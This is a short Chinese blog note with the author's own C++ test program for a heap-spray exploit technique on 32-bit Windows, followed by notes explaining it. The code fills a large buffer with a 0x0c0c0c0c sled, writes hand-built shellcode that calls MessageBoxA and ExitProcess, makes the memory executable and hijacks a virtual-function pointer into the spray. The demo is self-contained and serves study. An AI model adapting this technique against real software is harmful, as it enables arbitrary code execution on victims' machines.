引自:https://blog.csdn.net/lixiangminghate/article/details/53413863
照着作者的意思,自己的测试代码:
#include <iostream>
#include <windows.h>
#include <stdio.h>
class base
{
char m_buf[8];
public:
virtual int baseInit1()
{
printf("%s\n", "baseInit1");
return 0;
}
virtual int baseInit2()
{
printf("%s\n", "baseInit2");
return 0;
}
};
int main()
{
unsigned int bufLen = 200 * 1024 * 1024;
char buff[8] = { 0 };
base* baseObj = new base;
char* spray = new char[bufLen];
memset(spray, 0x0c, sizeof(char) * bufLen);
memset(spray + bufLen - 0x10, 0xcc, 0x10);
char* offset = (char*)spray + bufLen - 0x100;
FARPROC msgbox = GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
FARPROC exitproc = GetProcAddress(LoadLibraryA("kernel32.dll"), "ExitProcess");
//memset(offset - 0x10, 0xcc, 0x10);
*(USHORT*)(offset - 10) = 0xcccc;
*(USHORT*)(offset - 8) = 0x006a; //push dword ptr 0
*(USHORT*)(offset - 6) = 0x006a;
*(USHORT*)(offset - 4) = 0x006a;
*(USHORT*)(offset - 2) = 0x006a;
*(UCHAR*)offset = 0xe8; //call
DWORD msgboxaddr = (DWORD)msgbox - ((DWORD)offset + 5);
*(DWORD*)(offset + 1) = (DWORD)msgboxaddr;
*(USHORT*)(offset + 5) = 0x006a;
*(UCHAR*)(offset + 7) = 0xe8;
DWORD exitprocaddr = (DWORD)exitproc - ((DWORD)offset + 12);
*(DWORD*)(offset + 8) = (DWORD)exitprocaddr;
DWORD old;
int result = VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &old);
strcpy(buff, "12345678\x0c\x0c\x0c\x0c");
*(DWORD*)baseObj = 0x0c0c0c0c;
baseObj->baseInit1();
return 0;
}
执行时的反汇编分析:
注意:
-
vs2019中执行"strcpy(buff, “12345678\x0c\x0c\x0c\x0c”);"并不能覆盖baseObj 的类地址,通过调试,发现两者地址并不是紧挨着的。攻击时,如何通过相邻地址覆盖,是一个值得思考的问题。
-
堆喷射必须要设置堆内存的可执行属性。
-
总体的思路就是,分配大块的内存,将内存地址设置为0x0c0c0c0c(也可以设置为其他值),0x0c在32位模式下,是or al,0x0c 的机器码。通过覆盖虚函数表地址指针,将虚函数转移到分配的堆地址执行,在堆的末尾添加的payload即可得到执行。